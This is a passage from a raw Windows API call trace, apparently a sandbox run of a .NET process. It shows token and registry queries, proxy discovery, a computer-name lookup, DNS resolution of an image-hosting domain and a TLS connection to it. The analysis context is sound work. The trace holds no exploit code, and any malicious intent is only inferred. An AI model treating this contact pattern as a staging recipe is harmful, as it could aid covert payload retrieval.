returned 0xffffffffffffffff [0118.971] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cc288 | out: TokenHandle=0x1c6cc288*=0x368) returned 1 [0118.978] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cbf08 | out: TokenHandle=0x1c6cbf08*=0x36c) returned 1 [0118.997] GetCurrentProcess () returned 0xffffffffffffffff [0118.997] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cbf08 | out: TokenHandle=0x1c6cbf08*=0x370) returned 1 [0119.021] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x374 [0119.021] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x378 [0119.032] GetCurrentProcess () returned 0xffffffffffffffff [0119.032] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cbf68 | out: TokenHandle=0x1c6cbf68*=0x398) returned 1 [0119.036] GetCurrentProcess () returned 0xffffffffffffffff [0119.036] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cbf68 | out: TokenHandle=0x1c6cbf68*=0x3b8) returned 1 [0119.059] GetCurrentProcess () returned 0xffffffffffffffff [0119.060] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cbea8 | out: TokenHandle=0x1c6cbea8*=0x3bc) returned 1 [0119.067] GetCurrentProcess () returned 0xffffffffffffffff [0119.067] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cbea8 | out: TokenHandle=0x1c6cbea8*=0x3c0) returned 1 [0119.072] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cc4e8 | out: TokenHandle=0x1c6cc4e8*=0x3c4) returned 1 [0119.081] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c6ca5a8 | out: phkResult=0x1c6ca5a8*=0x3c8) returned 0x0 [0119.082] RegQueryValueExW (in: hKey=0x3c8, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1c6ca52c, lpData=0x0, lpcbData=0x1c6ca528*=0x0 | out: lpType=0x1c6ca52c*=0x1, lpData=0x0, lpcbData=0x1c6ca528*=0xe) returned 0x0 [0119.082] CoTaskMemAlloc (cb=0x12) returned 0x2d6530 [0119.082] RegQueryValueExW (in: hKey=0x3c8, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1c6ca4fc, lpData=0x2d6530, lpcbData=0x1c6ca4f8*=0xe | out: lpType=0x1c6ca4fc*=0x1, lpData="Client", lpcbData=0x1c6ca4f8*=0xe) returned 0x0 [0119.082] CoTaskMemFree (pv=0x2d6530) [0119.082] RegCloseKey (hKey=0x3c8) returned 0x0 [0119.089] CoTaskMemAlloc (cb=0xcd0) returned 0x2dbfc0 [0119.090] RasEnumConnectionsW (in: param_1=0x2dbfc0, param_2=0x1c6cc53c, param_3=0x1c6cc538 | out: param_1=0x2dbfc0, param_2=0x1c6cc53c, param_3=0x1c6cc538) returned 0x0 [0119.096] CoTaskMemFree (pv=0x2dbfc0) [0119.128] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c6cc348 | out: lpWSAData=0x1c6cc348) returned 0 [0119.140] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x414 [0119.148] setsockopt (s=0x414, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0119.148] closesocket (s=0x414) returned 0 [0119.148] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x414 [0119.151] setsockopt (s=0x414, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0119.152] closesocket (s=0x414) returned 0 [0119.158] GetCurrentProcess () returned 0xffffffffffffffff [0119.159] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cbbc8 | out: TokenHandle=0x1c6cbbc8*=0x414) returned 1 [0119.173] GetCurrentProcess () returned 0xffffffffffffffff [0119.174] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cbbc8 | out: TokenHandle=0x1c6cbbc8*=0x418) returned 1 [0119.193] GetCurrentProcessId () returned 0xb5c [0119.197] CoTaskMemAlloc (cb=0x204) returned 0x3869d0 [0119.197] GetComputerNameW (in: lpBuffer=0x3869d0, nSize=0x30ff658 | out: lpBuffer="YKYD69Q", nSize=0x30ff658) returned 1 [0119.197] CoTaskMemFree (pv=0x3869d0) [0119.199] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c6cc0a8 | out: phkResult=0x1c6cc0a8*=0x41c) returned 0x0 [0119.199] RegQueryValueExW (in: hKey=0x41c, lpValueName="Library", lpReserved=0x0, lpType=0x1c6cc02c, lpData=0x0, lpcbData=0x1c6cc028*=0x0 | out: lpType=0x1c6cc02c*=0x1, lpData=0x0, lpcbData=0x1c6cc028*=0x1c) returned 0x0 [0119.200] CoTaskMemAlloc (cb=0x20) returned 0x2db410 [0119.200] RegQueryValueExW (in: hKey=0x41c, lpValueName="Library", lpReserved=0x0, lpType=0x1c6cbffc, lpData=0x2db410, lpcbData=0x1c6cbff8*=0x1c | out: lpType=0x1c6cbffc*=0x1, lpData="netfxperf.dll", lpcbData=0x1c6cbff8*=0x1c) returned 0x0 [0119.200] CoTaskMemFree (pv=0x2db410) [0119.200] RegQueryValueExW (in: hKey=0x41c, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c6cc02c, lpData=0x0, lpcbData=0x1c6cc028*=0x0 | out: lpType=0x1c6cc02c*=0x4, lpData=0x0, lpcbData=0x1c6cc028*=0x4) returned 0x0 [0119.202] RegQueryValueExW (in: hKey=0x41c, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c6cc030, lpData=0x1c6cc02c, lpcbData=0x1c6cc028*=0x4 | out: lpType=0x1c6cc030*=0x4, lpData=0x1c6cc02c*=0x1, lpcbData=0x1c6cc028*=0x4) returned 0x0 [0119.202] RegQueryValueExW (in: hKey=0x41c, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c6cc02c, lpData=0x0, lpcbData=0x1c6cc028*=0x0 | out: lpType=0x1c6cc02c*=0x4, lpData=0x0, lpcbData=0x1c6cc028*=0x4) returned 0x0 [0119.202] RegQueryValueExW (in: hKey=0x41c, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c6cc030, lpData=0x1c6cc02c, lpcbData=0x1c6cc028*=0x4 | out: lpType=0x1c6cc030*=0x4, lpData=0x1c6cc02c*=0x137a, lpcbData=0x1c6cc028*=0x4) returned 0x0 [0119.202] RegCloseKey (hKey=0x41c) returned 0x0 [0119.205] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c6cc068 | out: phkResult=0x1c6cc068*=0x41c) returned 0x0 [0119.205] RegQueryValueExW (in: hKey=0x41c, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1c6cbfec, lpData=0x0, lpcbData=0x1c6cbfe8*=0x0 | out: lpType=0x1c6cbfec*=0x4, lpData=0x0, lpcbData=0x1c6cbfe8*=0x4) returned 0x0 [0119.205] RegQueryValueExW (in: hKey=0x41c, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x1c6cbff0, lpData=0x1c6cbfec, lpcbData=0x1c6cbfe8*=0x4 | out: lpType=0x1c6cbff0*=0x4, lpData=0x1c6cbfec*=0x3, lpcbData=0x1c6cbfe8*=0x4) returned 0x0 [0119.205] RegQueryValueExW (in: hKey=0x41c, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1c6cbfec, lpData=0x0, lpcbData=0x1c6cbfe8*=0x0 | out: lpType=0x1c6cbfec*=0x4, lpData=0x0, lpcbData=0x1c6cbfe8*=0x4) returned 0x0 [0119.205] RegQueryValueExW (in: hKey=0x41c, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x1c6cbff0, lpData=0x1c6cbfec, lpcbData=0x1c6cbfe8*=0x4 | out: lpType=0x1c6cbff0*=0x4, lpData=0x1c6cbfec*=0x20000, lpcbData=0x1c6cbfe8*=0x4) returned 0x0 [0119.205] RegQueryValueExW (in: hKey=0x41c, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1c6cbfec, lpData=0x0, lpcbData=0x1c6cbfe8*=0x0 | out: lpType=0x1c6cbfec*=0x3, lpData=0x0, lpcbData=0x1c6cbfe8*=0xaa) returned 0x0 [0119.205] RegQueryValueExW (in: hKey=0x41c, lpValueName="Counter Names", lpReserved=0x0, lpType=0x1c6cbfec, lpData=0x3102920, lpcbData=0x1c6cbfe8*=0xaa | out: lpType=0x1c6cbfec*=0x3, lpData=0x3102920*, lpcbData=0x1c6cbfe8*=0xaa) returned 0x0 [0119.207] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0119.209] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x1c6cbfa0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName="Global\\netfxcustomperfcounters.1.0.net clr networking") returned 0x420 [0119.209] LocalFree (hMem=0x2d98d0) returned 0x0 [0119.210] RegCloseKey (hKey=0x41c) returned 0x0 [0119.211] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x31035d0, cbSid=0x1c6cbf80 | out: pSid=0x31035d0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c6cbf80) returned 1 [0119.212] CreateMutexW (lpMutexAttributes=0x31037d8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x41c [0119.214] WaitForSingleObject (hHandle=0x41c, dwMilliseconds=0x1f4) returned 0x0 [0119.214] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3103af0, cbSid=0x1c6cbee0 | out: pSid=0x3103af0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c6cbee0) returned 1 [0119.215] ReleaseMutex (hMutex=0x424) returned 1 [0119.216] GetProcessTimes (in: hProcess=0x424, lpCreationTime=0x1c6cbef0, lpExitTime=0x1c6cbee8, lpKernelTime=0x1c6cbee0, lpUserTime=0x1c6cbed8 | out: lpCreationTime=0x1c6cbef0, lpExitTime=0x1c6cbee8, lpKernelTime=0x1c6cbee0, lpUserTime=0x1c6cbed8) returned 1 [0119.217] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3104af0, cbSid=0x1c6cbf80 | out: pSid=0x3104af0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c6cbf80) returned 1 [0119.218] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3105910, cbSid=0x1c6cbf80 | out: pSid=0x3105910*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c6cbf80) returned 1 [0119.218] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3106728, cbSid=0x1c6cbf80 | out: pSid=0x3106728*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c6cbf80) returned 1 [0119.218] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3107538, cbSid=0x1c6cbf80 | out: pSid=0x3107538*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c6cbf80) returned 1 [0119.219] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3108348, cbSid=0x1c6cbf30 | out: pSid=0x3108348*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c6cbf30) returned 1 [0119.219] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3109170, cbSid=0x1c6cbf30 | out: pSid=0x3109170*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c6cbf30) returned 1 [0119.220] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3109f68, cbSid=0x1c6cbf30 | out: pSid=0x3109f68*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c6cbf30) returned 1 [0119.221] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x310ad70, cbSid=0x1c6cbf30 | out: pSid=0x310ad70*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c6cbf30) returned 1 [0119.221] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x310bb70, cbSid=0x1c6cbf30 | out: pSid=0x310bb70*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1c6cbf30) returned 1 [0119.222] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x41c [0119.223] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x424 [0119.223] ioctlsocket (in: s=0x41c, cmd=-2147195266, argp=0x1c6cc568 | out: argp=0x1c6cc568) returned 0 [0119.224] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x428 [0119.225] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x42c [0119.225] ioctlsocket (in: s=0x428, cmd=-2147195266, argp=0x1c6cc568 | out: argp=0x1c6cc568) returned 0 [0119.227] WSAIoctl (in: s=0x41c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c6cc4e0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c6cc4e0, lpOverlapped=0x0) returned -1 [0119.228] CoTaskMemAlloc (cb=0x204) returned 0x3867c0 [0119.228] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x3867c0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0119.230] CoTaskMemFree (pv=0x3867c0) [0119.231] WSAEventSelect (s=0x41c, hEventObject=0x424, lNetworkEvents=512) returned 0 [0119.231] WSAIoctl (in: s=0x428, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c6cc4e0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c6cc4e0, lpOverlapped=0x0) returned -1 [0119.232] CoTaskMemAlloc (cb=0x204) returned 0x3867c0 [0119.232] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x3867c0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0119.232] CoTaskMemFree (pv=0x3867c0) [0119.232] WSAEventSelect (s=0x428, hEventObject=0x42c, lNetworkEvents=512) returned 0 [0119.232] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x430 [0119.233] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x430, param_3=0x3) returned 0x0 [0119.241] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1c6cc620 | out: phkResult=0x1c6cc620*=0x448) returned 0x0 [0119.243] RegOpenKeyExW (in: hKey=0x448, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c6cc508 | out: phkResult=0x1c6cc508*=0x44c) returned 0x0 [0119.244] RegNotifyChangeKeyValue (hKey=0x44c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x450, fAsynchronous=1) returned 0x0 [0119.245] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c6cc530 | out: phkResult=0x1c6cc530*=0x454) returned 0x0 [0119.245] RegNotifyChangeKeyValue (hKey=0x454, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x458, fAsynchronous=1) returned 0x0 [0119.245] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c6cc530 | out: phkResult=0x1c6cc530*=0x45c) returned 0x0 [0119.246] RegNotifyChangeKeyValue (hKey=0x45c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x460, fAsynchronous=1) returned 0x0 [0119.246] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cc498 | out: TokenHandle=0x1c6cc498*=0x464) returned 1 [0119.252] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cbc68 | out: TokenHandle=0x1c6cbc68*=0x478) returned 1 [0119.253] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cbc68 | out: TokenHandle=0x1c6cbc68*=0x47c) returned 1 [0119.274] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1c6cc568 | out: pProxyConfig=0x1c6cc568) returned 1 [0119.350] SetEvent (hEvent=0x374) returned 1 [0119.369] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x1c6cc4d0 | out: ppwstrAutoConfigUrl=0x1c6cc4d0*=0x0) returned 0 [0119.405] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x2, ppwstrAutoConfigUrl=0x1c6cc4d0 | out: ppwstrAutoConfigUrl=0x1c6cc4d0*=0x0) returned 0 [0122.184] GetCurrentProcess () returned 0xffffffffffffffff [0122.184] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cbd68 | out: TokenHandle=0x1c6cbd68*=0x4e0) returned 1 [0122.188] GetCurrentProcess () returned 0xffffffffffffffff [0122.189] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cbd68 | out: TokenHandle=0x1c6cbd68*=0x4d8) returned 1 [0122.190] SetEvent (hEvent=0x374) returned 1 [0122.262] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x1c6cc238 | out: pFixedInfo=0x0, pOutBufLen=0x1c6cc238) returned 0x6f [0122.335] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x28a85d0 [0122.335] GetNetworkParams (in: pFixedInfo=0x28a85d0, pOutBufLen=0x1c6cc238 | out: pFixedInfo=0x28a85d0, pOutBufLen=0x1c6cc238) returned 0x0 [0122.378] CoTaskMemAlloc (cb=0xd) returned 0x28ab400 [0122.378] inet_addr (cp="192.168.0.1") returned 0x100a8c0 [0122.378] CoTaskMemFree (pv=0x28ab400) [0122.382] LocalFree (hMem=0x28a85d0) returned 0x0 [0122.469] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4e8 [0122.471] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4e4 [0122.473] CoTaskMemAlloc (cb=0x14) returned 0x28ab400 [0122.475] getaddrinfo (in: pNodeName="images2.imgbox.com", pServiceName=0x0, pHints=0x1c6cc1e0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1c6cc1d8 | out: ppResult=0x1c6cc1d8*=0x2e4550*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="images2.imgbox.com.sds.rncdn7.com", ai_addr=0x28ab480*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.104"), ai_next=0x2e4590*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x28ab4a0*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.100"), ai_next=0x2e46d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x28ab560*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.102"), ai_next=0x0)))) returned 0 [0122.683] CoTaskMemFree (pv=0x28ab400) [0122.683] CoTaskMemFree (pv=0x0) [0122.684] FreeAddrInfoW (pAddrInfo=0x2e4550*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="浩条獥⸲浩执硯挮浯献獤爮据湤⸷潣mm", ai_addr=0x28ab480*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.104"), ai_next=0x2e4590*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x28ab4a0*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.100"), ai_next=0x2e46d0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x28ab560*(sa_family=2, sin_port=0x0, sin_addr="66.254.122.102"), ai_next=0x0)))) [0122.684] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4f4 [0122.685] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4dc [0122.685] ioctlsocket (in: s=0x4f4, cmd=-2147195266, argp=0x1c6cc1f8 | out: argp=0x1c6cc1f8) returned 0 [0122.685] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4fc [0122.685] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x500 [0122.685] ioctlsocket (in: s=0x4fc, cmd=-2147195266, argp=0x1c6cc1f8 | out: argp=0x1c6cc1f8) returned 0 [0122.685] WSAIoctl (in: s=0x4f4, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c6cc170, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c6cc170, lpOverlapped=0x0) returned -1 [0122.685] CoTaskMemAlloc (cb=0x204) returned 0x386df0 [0122.685] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x386df0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0122.685] CoTaskMemFree (pv=0x386df0) [0122.685] WSAEventSelect (s=0x4f4, hEventObject=0x4dc, lNetworkEvents=512) returned 0 [0122.686] WSAIoctl (in: s=0x4fc, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c6cc170, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c6cc170, lpOverlapped=0x0) returned -1 [0122.686] CoTaskMemAlloc (cb=0x204) returned 0x386df0 [0122.686] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x386df0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0122.686] CoTaskMemFree (pv=0x386df0) [0122.686] WSAEventSelect (s=0x4fc, hEventObject=0x500, lNetworkEvents=512) returned 0 [0122.687] GetAdaptersAddresses () returned 0x6f [0122.700] LocalAlloc (uFlags=0x0, uBytes=0xbe8) returned 0x28b9c00 [0122.700] GetAdaptersAddresses () returned 0x0 [0122.709] WSAConnect (in: s=0x4e8, name=0x3117820*(sa_family=2, sin_port=0x1bb, sin_addr="66.254.122.104"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0122.735] closesocket (s=0x4e4) returned 0 [0122.772] EnumerateSecurityPackagesW (in: pcPackages=0x1c6cc058, ppPackageInfo=0x1c6cc050 | out: pcPackages=0x1c6cc058, ppPackageInfo=0x1c6cc050) returned 0x0 [0122.773] lstrlenW (lpString="Negotiate") returned 9 [0122.774] CoTaskMemAlloc (cb=0x16) returned 0x28ab4a0 [0122.774] RtlMoveMemory (in: Destination=0x28ab4a0, Source=0x349fb0, Length=0x14 | out: Destination=0x28ab4a0) [0122.774] CoTaskMemFree (pv=0x28ab4a0) [0122.774] CoTaskMemAlloc (cb=0x3c) returned 0x2da140 [0122.774] RtlMoveMemory (in: Destination=0x2da140, Source=0x349fc4, Length=0x3a | out: Destination=0x2da140) [0122.774] CoTaskMemFree (pv=0x2da140) [0122.774] lstrlenW (lpString="NegoExtender") returned 12 [0122.774] CoTaskMemAlloc (cb=0x1c) returned 0x28bf340 [0122.774] RtlMoveMemory (in: Destination=0x28bf340, Source=0x349ffe, Length=0x1a | out: Destination=0x28bf340) [0122.774] CoTaskMemFree (pv=0x28bf340) [0122.774] lstrlenW (lpString="NegoExtender Security Package") returned 29 [0122.774] CoTaskMemAlloc (cb=0x3e) returned 0x2da140 [0122.774] RtlMoveMemory (in: Destination=0x2da140, Source=0x34a018, Length=0x3c | out: Destination=0x2da140) [0122.774] CoTaskMemFree (pv=0x2da140) [0122.774] lstrlenW (lpString="Kerberos") returned 8 [0122.774] CoTaskMemAlloc (cb=0x14) returned 0x28ab4a0 [0122.775] RtlMoveMemory (in: Destination=0x28ab4a0, Source=0x34a054, Length=0x12 | out: Destination=0x28ab4a0) [0122.775] CoTaskMemFree (pv=0x28ab4a0) [0122.775] lstrlenW (lpString="Microsoft Kerberos V1.0") returned 23 [0122.775] CoTaskMemAlloc (cb=0x32) returned 0x2e42d0 [0122.775] RtlMoveMemory (in: Destination=0x2e42d0, Source=0x34a066, Length=0x30 | out: Destination=0x2e42d0) [0122.775] CoTaskMemFree (pv=0x2e42d0) [0122.775] lstrlenW (lpString="NTLM") returned 4 [0122.775] CoTaskMemAlloc (cb=0xc) returned 0x28ab4a0 [0122.775] RtlMoveMemory (in: Destination=0x28ab4a0, Source=0x34a096, Length=0xa | out: Destination=0x28ab4a0) [0122.775] CoTaskMemFree (pv=0x28ab4a0) [0122.775] lstrlenW (lpString="NTLM Security Package") returned 21 [0122.775] CoTaskMemAlloc (cb=0x2e) returned 0x2e42d0 [0122.775] RtlMoveMemory (in: Destination=0x2e42d0, Source=0x34a0a0, Length=0x2c | out: Destination=0x2e42d0) [0122.775] CoTaskMemFree (pv=0x2e42d0) [0122.775] lstrlenW (lpString="Schannel") returned 8 [0122.775] CoTaskMemAlloc (cb=0x14) returned 0x28ab4a0 [0122.775] RtlMoveMemory (in: Destination=0x28ab4a0, Source=0x34a0cc, Length=0x12 | out: Destination=0x28ab4a0) [0122.775] CoTaskMemFree (pv=0x28ab4a0) [0122.775] lstrlenW (lpString="Schannel Security Package") returned 25 [0122.775] CoTaskMemAlloc 